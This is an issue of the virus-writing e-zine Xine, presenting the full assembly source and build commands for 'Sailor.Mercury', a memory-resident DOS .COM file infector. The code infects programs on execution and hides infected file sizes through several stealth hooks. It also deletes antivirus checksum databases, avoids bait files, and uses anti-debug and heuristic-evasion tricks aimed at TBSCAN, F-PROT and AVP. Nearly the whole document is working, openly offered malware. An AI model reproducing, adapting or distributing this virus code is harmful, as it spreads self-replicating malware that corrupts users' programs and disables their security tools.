
                                        /-----------------------------\
                                        | Xine - issue #1 - Phile 019 |
                                        \-----------------------------/


;
;
;                           b0z0 of the -iKx-
;                                present
;                             Sailor.Mercury
;
;  hyo guys
; this is my first virus that i release to the public... so don't be too
; hard when feedbacking something :) Sailor.Mercury is the first virus of
; the Pretty Soldiers Sailor family... if you dunno who the Pretty Soldiers
; are then  IN THE NAME OF THE MOON I'LL PUNISH YOU! :)
; i hope to be around enough to complete all the family... we'll see ;)
;  the code in some parts isn't optimized at all. infact like you will notice
; at the comments i scrambled a little some passes to hide some heuristic
; flags from the various lame avs. the virus isn't encrypted... that's simply
; because i am not in this moment able to write a decent encryption engine...
; i tried with some standard xor and so on but this only gave a lot of
; warnings. and anyway the avs will put the decrypt procedure as a search
; string in the same manner that they will put a piece of the unencrypted
; virus... all the length stealth routines are based only on the check of
; the file size (must be < 64k of course) and file time (30 secs).
;
; And now as usual some tech infos about the virus:
;  - TSR .com infector
;  - infects on execute (4bh)
;  - infects files longer than 1024 and shorter than 64000
;  - stealth features (disabled when AVP or FPROT or tools like
;                      CHKDSK or SCANDISK are running)
;       * fcb stealth (on 11h/12h)
;       * dta stealth (on 4eh/4fh)
;       * get/set interrupt 21h stealth (on 3521h/2521h)
;       * size stealth on lseek calls 4202h (when seeking from end)
;  - general int24h error handler
;  - some retro structures
;       * deletes msd0g chklist.ms on each succesfull infection
;       * deletes tbav checksums
;  - antibait code
;       * doesn't infect files created today (checking only day, no mnth...)
;       * doesn't infect files which lenght is divisible by 512
;       * doesn't infect files which lenght is divisible by 1000
;  - antidebug code
;
; To compile:
;  TASM /M2 MERCURY.ASM
;  TLINK /T MERCURY
;
;

mercury         segment
                assume cs:mercury,ds:mercury,es:mercury

                org     100h
start:
                call    tbscan                  ;final fool for tbscan :)
                call    antidebug               ;fool fprot
                call    delta                   ;calculate delta offset
delta:
                mov     bp,sp
                mov     bx,[bp]
                mov     bp,bx
                sub     bp,offset delta         ;calculate delta offset
res_check:
                mov     ax,3726h                ;installation check
                int     21h
                cmp     ax,374ch
                jnz     go_resident
                call    restore_COM             ;restore the original com
go_resident:
                push    cs
                mov     ax,3521h                ; get int 21 adress
                int     21h
                mov     word ptr [bp + old_int21_off],bx
                mov     word ptr [bp + old_int21_seg],es
                pop     es

                mov     ah,4ah              ;request too much mem
                mov     bx,0ffffh
                int     21h                 ;in BX max mem avaiable

                sub     bx,((end_vir-start+0fh)/10h)+1   ;shrink block
                mov     ah,4ah
                int     21h                            ;ES = block segment

                mov     ah,48h
                mov     bx,((end_vir-start+0fh)/10h)  ;allocate needed mem
                int     21h                           ;AX = free segment

                dec     ax
                mov     es,ax                         ;ES = new MCB

                push    es
                push    ax
                mov     ax,cs
                dec     ax                       ;MCB of the previous block
                mov     es,ax
                mov     byte ptr es:[0],'Z'      ;mark the previous as the last
                pop     ax                       ;so mem /debug won't see us
                pop     es

                mov     si,offset start          ;ds:si = virus
                add     si,bp
                sub     ax,0fh
                mov     es,ax                    ;es:di = place for the virus
                mov     di,0ffh                  ;ds:si --> es:di
                inc     di                       ;damn tbscan :)
                mov     cx,offset end_vir - offset start
                cld
                rep     movsb   ; Copy the virus
                push    es

                mov     ax,2621h        ; install our interrupt handler
                dec     ah              ; fuck TBSCAN memres scan flag
                pop     ds
                mov     dx,[offset int21_handler]
                int     21h
restore_COM:
                pop     es              ;this adjust the stack from the
                                        ;calculation of the delta offset
                                        ;anyway i think that anything would
                                        ;work also fine without this
                push    cs              ;give again control to the program
                pop     es
                push    es
                pop     ds
                mov     di,0ffh         ;like mov di,100h but in this
                inc     di              ;way tbscan won't issue 'O' flag
                lea     si,[bp+old_jump] ;restore first four bytes
                push    di
                movsw
                movsw
                pop     ax
                jmp     ax
lsend:
                 pushf
                 push   cs                    ;we must return home later :)
                 call   doint21               ;do the int21h
                 jc     notnf
                 cmp    dx,00h
                 jnz    notnf                 ;COMs are < 65k so if dx<>0 then
                                              ;maybe isn't a .COM
                 push   ax                    ;save length infos
                 push   cx
                 push   dx
                 mov    ax,5700h              ;get date-time
                 int    21h
                 and    cl,1fh                ;our time-marker?
                 xor    cl,0fh
                 pop    dx
                 pop    cx
                 pop    ax                    ;restore infos
                 jnz    notnf                 ;if not infected leave
                 sub    ax,(end_vir-start)    ;is infected? hide the size!
notnf:
                 retf 2
fcbstealth:
                pushf
                push    cs
                call    doint21
                or      al,al                     ;dir sucessfull??
                jnz     leave_dir                 ;no? leave all

                push    es
                push    bx
                push    ax
                mov     ah,51h                    ;get psp
                int     21h
                mov     es,bx
                cmp     bx,es:[16h]               ;is the PSP ok??
                jnz     error

                mov     bx,dx
                mov     al,[bx]                   ;al<--current drive
                push    ax                        ;look 4 extended FCB
                mov     ah,2fh                    ;get dta area
                int     21h
                pop     ax
                inc     al                       ;=ffh
                jnz     no_ext                   ;extended fcb?
                add     bx,7
no_ext:
                cmp     word ptr es:[bx+1fh],00h             ;is > 65k?
                jnz     error                                ;yup.. leave
                mov     al,byte ptr es:[bx+17h]   ;seconds field
                and     al,1fh
                xor     al,0fh                    ;is file infected?
                jnz     error
hide:
                sub     word ptr es:[bx+1dh],(end_vir-start) ;hide size
error:
                pop     ax
                pop     bx
                pop     es
leave_dir:
                retf    2
int21_handler:
                cmp     ax,3726h                ;installation check
                jne     no_check
                add     al,al
                iret
no_check:
                cmp     ah,32h
                jne     dsnn
                mov     byte ptr cs:[disste],00h
dsnn:
                cmp     ah,4ch          ;program ending?
                je      re_stealth      ;reput stealth if we disabled it

                cmp     byte ptr cs:[disste],01h   ;if AVs runs disable
                je      doint21                    ;stealth/infect


                push    bx
                mov     bh,12h          ;bye bye tbscan X flag :)
                cmp     ah,bh
                pop     bx
                je      fcbstealth

                cmp     ah,11h
                je      fcbstealth

                cmp     ax,4202h
                jne     nofend
                cmp     cl,4dh          ;is our call?
                jne     nofend
                jmp     lsend
nofend:
                cmp     ax,3521h                   ;get int21h stealth
                je      reqint21

                cmp     ax,2521h                   ;set int21h stealth
                je      setint21

                cmp     ah,4eh
                je      dtastealth

                cmp     ah,4fh
                je      dtastealth

                push    bx
                mov     bh,4bh          ;re-g'bye tbscan ];)
                cmp     ah,bh
                pop     bx
                je      infect
doint21:
                jmp cs:old_int21
old_int21 label dword
old_int21_off      dw   ?                       ;original int21 offset
old_int21_seg      dw   ?                       ;original int21 segment

reqint21:
                mov    es,word ptr cs:[old_int21_seg]   ;give original int21h
                mov    bx,word ptr cs:[old_int21_off]   ;instead of our
                iret
setint21:
                mov    word ptr cs:[old_int21_seg],ds   ;we will stay always
                mov    word ptr cs:[old_int21_off],dx   ;on the top :)
                iret
re_stealth:
                mov    byte ptr cs:[disste],00h         ;reenable stealth
                jmp    cs:old_int21
dtastealth:
                pushf
                push    cs             ;save for the return
                call    doint21        ;do the call
                jc      nomatches

                pushf
                push    ax
                push    es
                push    bx

                mov     ah,2fh         ;open dta
                int     21h

                cmp     word ptr es:[bx+1ch],00h     ;is file > 64k?
                jnz     not_inf                      ;yup.. isn't a COM
                mov     ax,es:[bx+16h]               ;file time secs
                and     al,1fh
                xor     al,0fh
                jnz     not_inf                      ;is our marker?
                sub     es:[bx+1ah],(end_vir-start)  ;hide file size
not_inf:
                pop     bx
                pop     es
                pop     ax
                popf
nomatches:
                retf 2
infect:
                pushf
                push    ax
                push    bx
                push    cx
                push    dx
                push    es
                push    ds
                push    bp
                push    si
                push    di

                push    ds
		push    dx 
                mov     ax,3524h          ;get int24h seg and off
		int     21h
                mov     word ptr cs:[old_int24_off],bx  ;store them
                mov     word ptr cs:[old_int24_seg],es

                push    cs
		pop     ds
                mov     dx,offset int24_handler         ;put our int24h
		mov     ax,2524h
		int     21h
                pop     dx
                pop     ds

                push    di
                push    dx
                pop     di
sloop:
                inc     di
                cmp     byte ptr ds:[di],'.'
                jne     sloop                   ;search for '.'
                sub     di,02h
                cmp     word ptr ds:di,'PV'     ;is AVP?
                jne     protest
avrun:
                mov     byte ptr cs:[disste],01h ;yup... so disable get/set
                jmp     ahead                    ;interrupt stealth so he
protest:                                         ;would notice us
                cmp     word ptr ds:di,'OR'     ;is AVPRO?
                je      avrun
                cmp     word ptr ds:di,'TO'     ;is f-prot running?
                je      avrun                   ;so it won't find us
ahead:
                pop     di
                mov     ax,4300h           ;get file attributes
                int     21h

                push    cx                 ;save attributes
                push    ds
                push    dx
                sub     cx,cx
                call    set_attr           ;erase all attributes

                mov     ax,3d02h                ;open file for rw
                int     21h
                jnc     continue
                jmp     exit_infect2
continue:
                mov     bx,ax                   ;bx<--file handle
                push    cs
                pop     ds

                mov     ax,5700h              ;get date-time
                int     21h
                push    cx                    ;store date/time on stack
                push    dx

                push    dx
                mov     ah,2bh                ;get today's date
                dec     ah                    ;hiho tbscan ;)
                int     21h
                pop     cx
                and     cl,01fh               ;take only day from full date
                cmp     cl,dl                 ;is the same as today?
                jz      exitjump              ;hmmm... maybe a bait...

                mov     ah,3fh                  ;read from file
                mov     cx,4                    ;four bytes
                mov     dx,offset old_jump      ;in our buffer
                int     21h

                cmp     byte ptr old_jump,'M'    ;exe?
                je      exitjump
                cmp     byte ptr old_jump,0e9h    ;is there a jump?
                jne     goahead
                cmp     byte ptr old_jump+3,26h   ;is our marker?
exitjump:
                je      exit_infect
goahead:
                push    dx
                sub     cx,cx
                lea     dx,crca
                call    retro
                lea     dx,crcb
                call    retro
                pop     dx

                mov     cl,4dh                  ;our marker
                mov     ax,4202h                ;go to the end of the file
                cwd
                sub     cx,cx
                int     21h

                cmp     ax,0fa00h               ;don't infect files >64000
                ja      exit_infect

                cmp     ax,1024                 ;don't infect files <=1024
                jbe     exit_infect

                mov     cx,ax
                and     cx,01ffh                 ;if divisible by 512 leave
                jz      exit_infect              ;it's, probably a bait!

                push    ax
                mov     cx,1000                 ;is length divisible by 1000??
                div     cx                      ;hmmm suspicious... there is
                or      dx,dx                   ;a bait near here... :)
                pop     ax
                jz      exit_infect

                sub     ax,3
                mov     word ptr new_jump + 1, ax       ;calculate new jump

                mov     ah,3fh                          ;copy da virus
                inc     ah
                mov     cx,(end_vir-start)
                mov     dx,offset start
                int     21h

                xor     al,al                           ;go at start
                mov     ah,42h
                cwd
                mov     cx,0
                int     21h

                mov     cx,4                            ;copy new jump
                mov     ah,3fh                          ;at the start
                inc     ah
                mov     dx,offset new_jump
                int     21h

                pop     dx              ;restore date/time from stack
                pop     cx
                mov     ax,5601h        ;set date
                inc     ah              ;damn tbscan
                and     cl,0e0h         ;marker for fcb stealth
                add     cl,0fh
                int     21h

                push    ds              ;correct stack if not infection
                push    bx              ;occoured
exit_infect:
                pop     bx
                pop     ds
                mov     ah,3eh          ;close file
                int     21h
exit_infect2:
                pop     dx              ;restore file attributes
                pop     ds
                pop     cx
                call    set_attr        ;reput old file attributes

                mov     ax,2524h
                mov     ds,cs:[old_int24_seg]
                mov     dx,cs:[old_int24_off]
                int     21h                     ; restore int24h

                pop     di              ;restore registers
                pop     si
                pop     bp
                pop     ds
                pop     es
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                popf
                jmp     doint21
old_jump           db   0cdh,20h,00h,00h        ;old com jump
virus              db   0,'Sailor.Mercury',0
author             db   '-b0z0/iKx-',0
new_jump           db   0e9h,00h,00h,26h        ;space for the new jump + mark
set_attr:
                mov     ax,4201h            ;set attributes
                inc     ah                  ;fuck tbscan F flag
                int     21h
                ret
tbscan:
                mov     ax,0305h                ;fool tbscan :)
                sub     bx,bx
                int     16h                     ;the final shoot for it ;)
                ret
antidebug:
                mov     cx,0aebh                ;prevent debugging
                inc     bp                      ;shit for fprot :)
                mov     ax,0fe05h               
                jmp     $-2
                add     ah,03bh
                jmp     $-11
                int     21h
                ret
int24_handler:
                mov     al,03h
                iret
retro:
                call    set_attr                ;deletes file in ds:dx
                mov     ah,41h
                int     21h
                ret

crca    db      'ANTI-VIR.DAT',0    ;what will we delete ;)
crcb    db      'CHKLIST.MS',0      ;the only 2 that i saw in to be used
end_vir:

disste             db   00h         ;get/set int enable/disable
old_int24_off      dw   ?                       ;original int24 offset
old_int24_seg      dw   ?                       ;original int24 segment

mercury ends
end     start
